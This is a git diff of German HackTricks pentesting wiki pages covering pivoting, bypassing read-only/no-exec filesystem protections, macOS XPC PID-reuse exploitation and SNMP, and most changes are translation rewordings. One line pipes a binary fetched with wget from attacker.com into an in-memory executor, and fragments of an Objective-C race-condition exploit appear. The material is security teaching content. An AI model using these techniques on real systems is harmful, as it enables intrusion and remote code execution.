||||
### 12 - Pivoting
|
||||
|
||||
Mit den **gesammelten Anmeldeinformationen** könnten Sie Zugriff auf andere Maschinen haben, oder vielleicht müssen Sie **neue Hosts entdecken und scannen** (beginnen Sie die Pentesting-Methodik erneut) in neuen Netzwerken, in denen Ihr Opfer verbunden ist.\
|
||||
In diesem Fall könnte Tunneling erforderlich sein. Hier finden Sie [**einen Beitrag über Tunneling**](tunneling-and-port-forwarding.md).\
|
||||
Sie sollten auf jeden Fall auch den Beitrag zur [Active Directory Pentesting-Methodik](../windows-hardening/active-directory-methodology/) überprüfen. Dort finden Sie coole Tricks, um seitlich zu bewegen, Berechtigungen zu eskalieren und Anmeldeinformationen abzurufen.\
|
||||
Überprüfen Sie auch die Seite über [**NTLM**](../windows-hardening/ntlm/), es könnte sehr nützlich sein, um in Windows-Umgebungen zu pivotieren.
|
||||
Überprüfen Sie auch die Seite über [**NTLM**](../windows-hardening/ntlm/), es könnte sehr nützlich sein, um in Windows-Umgebungen zu pivotieren..
|
||||
|
||||
### MEHR
|
||||
|
||||
|
@ -138,9 +137,9 @@ Sie sollten auf jeden Fall auch den Beitrag zur [Active Directory Pentesting-Met
|
|||
|
||||
#### **Ausnutzen**
|
||||
|
||||
* [**Grundlegendes Linux-Ausnutzen**](../reversing-and-exploiting/linux-exploiting-basic-esp/)
|
||||
* [**Grundlegendes Windows-Ausnutzen**](../reversing-and-exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
* [**Grundlegende Ausnutzungstools**](../reversing-and-exploiting/tools/)
|
||||
* [**Grundlagen des Linux-Exploits**](../binary-exploitation/linux-exploiting-basic-esp.md)
|
||||
* [**Grundlagen des Windows-Exploits**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
* [**Grundlegende Exploit-Tools**](../binary-exploitation/basic-binary-exploitation-methodology/tools/)
|
||||
|
||||
#### [**Grundlegendes Python**](python/)
|
||||
|
||||
|
@ -150,7 +149,7 @@ Sie sollten auf jeden Fall auch den Beitrag zur [Active Directory Pentesting-Met
|
|||
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/de/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
@ -162,10 +161,10 @@ Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken
|
|||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks in PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder folgen Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Umgehung von FS-Schutzmaßnahmen: Nur-Lesen / Keine-Ausführung / Distroless
|
||||
# Umgehung von FS-Schutzmaßnahmen: Nur-Lesen / Kein-Exec / Distroless
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -6,7 +6,7 @@
|
|||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen** möchten oder **HackTricks als PDF herunterladen** möchten, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -14,9 +14,9 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -24,12 +24,12 @@ Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hack
|
|||
|
||||
In den folgenden Videos finden Sie die auf dieser Seite erwähnten Techniken ausführlicher erklärt:
|
||||
|
||||
* [**DEF CON 31 - Erforschung der Linux-Speicher-Manipulation für Stealth und Evasion**](https://www.youtube.com/watch?v=poHirez8jk4)
|
||||
* [**DEF CON 31 - Erkundung der Linux-Speicher-Manipulation für Stealth und Evasion**](https://www.youtube.com/watch?v=poHirez8jk4)
|
||||
* [**Stealth-Eindringungen mit DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
|
||||
|
||||
## Nur-Lesen / Keine-Ausführung-Szenario
|
||||
## Nur-Lesen / Kein-Exec-Szenario
|
||||
|
||||
Es wird immer häufiger, dass Linux-Maschinen mit **Schutzmaßnahmen für eine nur-Lesen (ro) Dateisystem** montiert sind, insbesondere in Containern. Dies liegt daran, dass das Ausführen eines Containers mit einem ro-Dateisystem so einfach ist wie das Festlegen von **`readOnlyRootFilesystem: true`** im `securitycontext`:
|
||||
Es wird immer häufiger, dass Linux-Maschinen mit **Schutzmaßnahmen für das Nur-Lesen (ro) Dateisystem** montiert sind, insbesondere in Containern. Dies liegt daran, dass das Ausführen eines Containers mit einem ro-Dateisystem so einfach ist wie das Festlegen von **`readOnlyRootFilesystem: true`** im `securitycontext`:
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
|
||||
kind: Pod
|
||||
|
@ -44,7 +44,7 @@ securityContext:
|
|||
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
|
||||
</code></pre>
|
||||
|
||||
Auch wenn das Dateisystem als ro eingehängt ist, wird **`/dev/shm`** weiterhin beschreibbar sein, sodass wir nichts auf die Festplatte schreiben können. Dieser Ordner wird jedoch mit **Keine-Ausführung-Schutzmaßnahmen eingehängt**, sodass Sie, wenn Sie hier eine Binärdatei herunterladen, diese **nicht ausführen können**.
|
||||
Auch wenn das Dateisystem als ro eingehängt ist, wird **`/dev/shm`** weiterhin beschreibbar sein, sodass wir nichts auf die Festplatte schreiben können. Dieser Ordner wird jedoch mit **Schutzmaßnahmen gegen Ausführung** eingehängt, sodass Sie, wenn Sie hier eine Binärdatei herunterladen, diese **nicht ausführen können**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Aus der Sicht eines Red Teams wird es dadurch **kompliziert, Binärdateien herunterzuladen und auszuführen**, die nicht bereits im System vorhanden sind (wie Backdoors oder Enumeratoren wie `kubectl`).
|
||||
|
@ -58,18 +58,18 @@ Dies reicht jedoch nicht aus, um Ihre Binärdatei-Backdoor oder andere Binärwer
|
|||
|
||||
## Speicherumgehungen
|
||||
|
||||
Wenn Sie eine Binärdatei ausführen möchten, das Dateisystem dies jedoch nicht zulässt, ist der beste Weg, dies zu tun, indem Sie es aus dem Speicher ausführen, da die **Schutzmaßnahmen dort nicht gelten**.
|
||||
Wenn Sie eine Binärdatei ausführen möchten, das Dateisystem dies jedoch nicht zulässt, ist der beste Weg, dies zu tun, indem Sie es aus dem **Speicher ausführen**, da die **Schutzmaßnahmen dort nicht gelten**.
|
||||
|
||||
### FD + exec syscall Umgehung
|
||||
|
||||
Wenn Sie leistungsstarke Skript-Engines innerhalb der Maschine haben, wie **Python**, **Perl** oder **Ruby**, könnten Sie die Binärdatei zum Ausführen aus dem Speicher herunterladen, sie in einem Speicherdateideskript speichern (`create_memfd`-Syscall), der nicht durch diese Schutzmaßnahmen geschützt wird, und dann einen **`exec`-Syscall** aufrufen, wobei der **fd als auszuführende Datei** angegeben wird.
|
||||
Wenn Sie leistungsstarke Skript-Engines innerhalb der Maschine haben, wie **Python**, **Perl** oder **Ruby**, könnten Sie die Binärdatei zum Ausführen aus dem Speicher herunterladen, sie in einem Speicherdateideskript speichern (`create_memfd`-Syscall), das nicht durch diese Schutzmaßnahmen geschützt wird, und dann einen **`exec`-Syscall** aufrufen, wobei der **fd als auszuführende Datei** angegeben wird.
|
||||
|
||||
Hierfür können Sie das Projekt [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) verwenden. Sie können ihm eine Binärdatei übergeben, und es wird ein Skript in der angegebenen Sprache mit der **Binärdatei komprimiert und b64-codiert** generieren, mit den Anweisungen zum **Dekodieren und Dekomprimieren** in einem mit `create_memfd`-Syscall erstellten **fd** und einem Aufruf des **exec**-Syscalls zum Ausführen.
|
||||
Hierfür können Sie das Projekt [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) verwenden. Sie können ihm eine Binärdatei übergeben, und es wird ein Skript in der angegebenen Sprache mit der **Binärdatei komprimiert und b64-codiert** generieren, mit den Anweisungen zum **Dekodieren und Dekomprimieren** in einem durch `create_memfd`-Syscall erstellten **fd** und einem Aufruf des **exec**-Syscalls zum Ausführen.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Dies funktioniert nicht in anderen Skriptsprachen wie PHP oder Node, da sie keine **Standardmethode zum Aufrufen von Roh-Syscalls** aus einem Skript haben. Daher ist es nicht möglich, `create_memfd` aufzurufen, um den **Speicherfd** zum Speichern der Binärdatei zu erstellen.
|
||||
|
||||
Darüber hinaus wird das Erstellen eines **regulären fd** mit einer Datei in `/dev/shm` nicht funktionieren, da Sie es nicht ausführen dürfen, da der **Keine-Ausführung-Schutz** angewendet wird.
|
||||
Darüber hinaus wird das Erstellen eines **regulären fd** mit einer Datei in `/dev/shm` nicht funktionieren, da Sie sie nicht ausführen dürfen, da der **Schutz vor Ausführung** angewendet wird.
|
||||
{% endhint %}
|
||||
|
||||
### DDexec / EverythingExec
|
||||
|
@ -87,7 +87,7 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
|
|||
```
|
||||
### MemExec
|
||||
|
||||
[**Memexec**](https://github.com/arget13/memexec) ist der natürliche nächste Schritt von DDexec. Es handelt sich um einen **DDexec-Shellcode-Dämon**, sodass Sie jedes Mal, wenn Sie **eine andere Binärdatei ausführen möchten**, nicht DDexec neu starten müssen. Sie können einfach den Memexec-Shellcode über die DDexec-Technik ausführen und dann **mit diesem Dämon kommunizieren, um neue Binärdateien zu übergeben, zu laden und auszuführen**.
|
||||
[**Memexec**](https://github.com/arget13/memexec) ist der natürliche nächste Schritt von DDexec. Es handelt sich um einen **DDexec-Shellcode-Dämon**, sodass Sie jedes Mal, wenn Sie **eine andere Binärdatei ausführen möchten**, DDexec nicht neu starten müssen. Sie können einfach den Memexec-Shellcode über die DDexec-Technik ausführen und dann **mit diesem Dämon kommunizieren, um neue Binärdateien zu übergeben, zu laden und auszuführen**.
|
||||
|
||||
Ein Beispiel, wie Sie **Memexec verwenden können, um Binärdateien von einer PHP-Reverse-Shell auszuführen**, finden Sie unter [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
|
||||
|
||||
|
@ -105,22 +105,22 @@ Das Ziel von Distroless-Containern ist es, die Angriffsfläche von Containern zu
|
|||
|
||||
### Reverse-Shell
|
||||
|
||||
In einem Distroless-Container finden Sie möglicherweise **nicht einmal `sh` oder `bash`**, um eine reguläre Shell zu erhalten. Sie werden auch keine Binärdateien wie `ls`, `whoami`, `id` finden... alles, was Sie normalerweise in einem System ausführen.
|
||||
In einem Distroless-Container finden Sie möglicherweise **nicht einmal `sh` oder `bash`**, um eine reguläre Shell zu erhalten. Sie finden auch keine Binärdateien wie `ls`, `whoami`, `id`... alles, was Sie normalerweise in einem System ausführen.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Daher werden Sie **keine** **Reverse-Shell** erhalten oder das System **wie gewohnt durchsuchen können**.
|
||||
{% endhint %}
|
||||
|
||||
Wenn jedoch der kompromittierte Container beispielsweise ein Flask-Web ausführt, dann ist Python installiert, und daher können Sie eine **Python-Reverse-Shell** erhalten. Wenn Node ausgeführt wird, können Sie eine Node-Rev-Shell erhalten, und dasselbe gilt für fast jede **Skriptsprache**.
|
||||
Wenn jedoch der kompromittierte Container beispielsweise eine Flask-Webanwendung ausführt, ist Python installiert, und daher können Sie eine **Python-Reverse-Shell** erhalten. Wenn Node ausgeführt wird, können Sie eine Node-Rev-Shell erhalten, und dasselbe gilt für fast jede **Skriptsprache**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Mit der Skriptsprache könnten Sie das System **durch die Fähigkeiten der Sprache durchsuchen**.
|
||||
{% endhint %}
|
||||
|
||||
Wenn es **keine `read-only/no-exec`**-Schutzmaßnahmen gibt, könnten Sie Ihre Reverse-Shell missbrauchen, um **Ihre Binärdateien im Dateisystem zu schreiben** und sie **auszuführen**.
|
||||
Wenn **keine `read-only/no-exec`**-Schutzmaßnahmen vorhanden sind, könnten Sie Ihre Reverse-Shell missbrauchen, um **Ihre Binärdateien im Dateisystem zu schreiben** und sie **auszuführen**.
|
||||
|
||||
{% hint style="success" %}
|
||||
In diesen Arten von Containern werden diese Schutzmaßnahmen jedoch normalerweise vorhanden sein, aber Sie könnten die **vorherigen Speicher-Ausführungstechniken verwenden, um sie zu umgehen**.
|
||||
In diesen Containern werden diese Schutzmaßnahmen jedoch normalerweise vorhanden sein, aber Sie könnten die **vorherigen Speicher-Ausführungstechniken verwenden, um sie zu umgehen**.
|
||||
{% endhint %}
|
||||
|
||||
Sie finden **Beispiele**, wie Sie **einige RCE-Schwachstellen ausnutzen** können, um Skriptsprachen **Reverse-Shells** zu erhalten und Binärdateien aus dem Speicher auszuführen, unter [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
Sie finden **Beispiele**, wie Sie **einige RCE-Schwachstellen ausnutzen** können, um Skriptsprachen **Reverse-Shells zu erhalten** und Binärdateien aus dem Speicher auszuführen, unter [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
|
|
|
@ -1,40 +1,39 @@
|
|||
# macOS PID Reuse
|
||||
# macOS PID-Wiederverwendung
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen** möchten oder **HackTricks im PDF-Format herunterladen** möchten, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
|
||||
</details>
|
||||
|
||||
## PID-Wiederverwendung
|
||||
|
||||
Wenn ein macOS **XPC-Dienst** den aufgerufenen Prozess anhand der **PID** und nicht anhand des **Audit-Tokens** überprüft, ist er anfällig für einen Angriff auf die PID-Wiederverwendung. Dieser Angriff basiert auf einer **Race Condition**, bei der ein **Exploit** Nachrichten an den XPC-Dienst **sendet**, indem er die Funktionalität missbraucht und unmittelbar danach **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** mit dem **zugelassenen** Binärdatei ausführt.
|
||||
Wenn ein macOS **XPC-Dienst** den aufgerufenen Prozess anhand der **PID** und nicht des **Audit-Token** überprüft, ist er anfällig für einen PID-Wiederverwendungsangriff. Dieser Angriff basiert auf einer **Race Condition**, bei der ein **Exploit** Nachrichten an den XPC-Dienst **sendet**, die Funktionalität missbrauchen und kurz danach **`posix_spawn(NULL, ziel_binary, NULL, &attr, ziel_argv, environ)`** mit dem **erlaubten** Binärdatei ausführt.
|
||||
|
||||
Diese Funktion lässt die **zugelassene Binärdatei die PID besitzen**, aber die **bösartige XPC-Nachricht wurde** kurz zuvor gesendet. Wenn der **XPC-Dienst** die **PID** verwendet, um den Absender zu **authentifizieren** und dies **NACH** der Ausführung von **`posix_spawn`** überprüft, wird er denken, dass sie von einem **autorisierten** Prozess stammt.
|
||||
Diese Funktion lässt die **erlaubte Binärdatei die PID besitzen**, aber die **bösartige XPC-Nachricht** wurde kurz zuvor gesendet. Wenn der **XPC**-Dienst die **PID** zur **Authentifizierung** des Senders verwendet und sie **NACH** der Ausführung von **`posix_spawn`** überprüft, wird er denken, dass sie von einem **autorisierten** Prozess stammt.
|
||||
|
||||
### Beispiel für einen Exploit
|
||||
### Beispiel für Exploit
|
||||
|
||||
Wenn Sie die Funktion **`shouldAcceptNewConnection`** oder eine von ihr aufgerufene Funktion finden, die **`processIdentifier`** aufruft und nicht **`auditToken`** aufruft, bedeutet dies höchstwahrscheinlich, dass sie die Prozess-PID überprüft und nicht das Audit-Token.\
|
||||
Wenn Sie die Funktion **`shouldAcceptNewConnection`** oder eine von ihr aufgerufene Funktion finden, die **`processIdentifier`** aufruft und nicht **`auditToken`** aufruft, bedeutet dies höchstwahrscheinlich, dass sie die Prozess-PID und nicht das Audit-Token überprüft.\
|
||||
Wie zum Beispiel in diesem Bild (aus der Referenz entnommen):
|
||||
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (4) (1) (1) (1) (2).png" alt="https://wojciechregula.blog/images/2020/04/pid.png"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (303).png" alt="https://wojciechregula.blog/images/2020/04/pid.png"><figcaption></figcaption></figure>
|
||||
|
||||
Überprüfen Sie diesen Beispiel-Exploit (wieder aus der Referenz), um die 2 Teile des Exploits zu sehen:
|
||||
Überprüfen Sie diesen Beispiel-Exploit (erneut aus der Referenz), um die 2 Teile des Exploits zu sehen:
|
||||
|
||||
* Einer, der **mehrere Forks generiert**
|
||||
* **Jeder Fork** wird die **Payload** an den XPC-Dienst **senden**, während er unmittelbar nach dem Senden der Nachricht **`posix_spawn`** ausführt.
|
||||
* **Jeder Fork** wird das **Payload** an den XPC-Dienst **senden**, während er kurz nach dem Senden der Nachricht **`posix_spawn`** ausführt.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Damit der Exploit funktioniert, ist es wichtig, ` export`` `` `**`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`** zu setzen oder ihn im Exploit selbst einzufügen:
|
||||
|
||||
Damit der Exploit funktioniert, ist es wichtig, ` export`` `` `**`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`** zu setzen oder im Exploit einzufügen:
|
||||
```objectivec
|
||||
asm(".section __DATA,__objc_fork_ok\n"
|
||||
"empty:\n"
|
||||
|
@ -43,11 +42,8 @@ asm(".section __DATA,__objc_fork_ok\n"
|
|||
{% endhint %}
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="undefined" %}
|
||||
Erste Option mit **`NSTasks`** und Argument, um die Kinder zu starten, um den RC auszunutzen
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
{% tab title="NSTasks" %}
|
||||
Erste Option mit **`NSTasks`** und Argument zum Starten der Kinder, um den RC auszunutzen.
|
||||
```objectivec
|
||||
// Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
|
||||
// gcc -framework Foundation expl.m -o expl
|
||||
|
@ -156,8 +152,7 @@ return 0;
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="fork" %}
|
||||
Dieses Beispiel verwendet eine rohe **`fork`**, um **Kinder zu starten, die die PID-Rennbedingung ausnutzen** und dann **eine weitere Rennbedingung über einen Hardlink ausnutzen**:
|
||||
|
||||
Dieses Beispiel verwendet ein einfaches **`fork`**, um **Kindprozesse zu starten, die die PID-Rennbedingung ausnutzen** und dann **eine weitere Rennbedingung über einen Hardlink ausnutzen**:
|
||||
```objectivec
|
||||
// export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
|
||||
// gcc -framework Foundation expl.m -o expl
|
||||
|
@ -293,6 +288,10 @@ return 0;
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
## Weitere Beispiele
|
||||
|
||||
* [https://gergelykalman.com/why-you-shouldnt-use-a-commercial-vpn-amateur-hour-with-windscribe.html](https://gergelykalman.com/why-you-shouldnt-use-a-commercial-vpn-amateur-hour-with-windscribe.html)
|
||||
|
||||
## Referenzen
|
||||
|
||||
* [https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/](https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/)
|
||||
|
@ -300,14 +299,14 @@ return 0;
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,17 +6,17 @@
|
|||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github Repositories einreichen.
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -34,7 +34,7 @@ SNMP verwendet auch den Port **162/UDP** für **Traps**. Dabei handelt es sich u
|
|||
### MIB
|
||||
|
||||
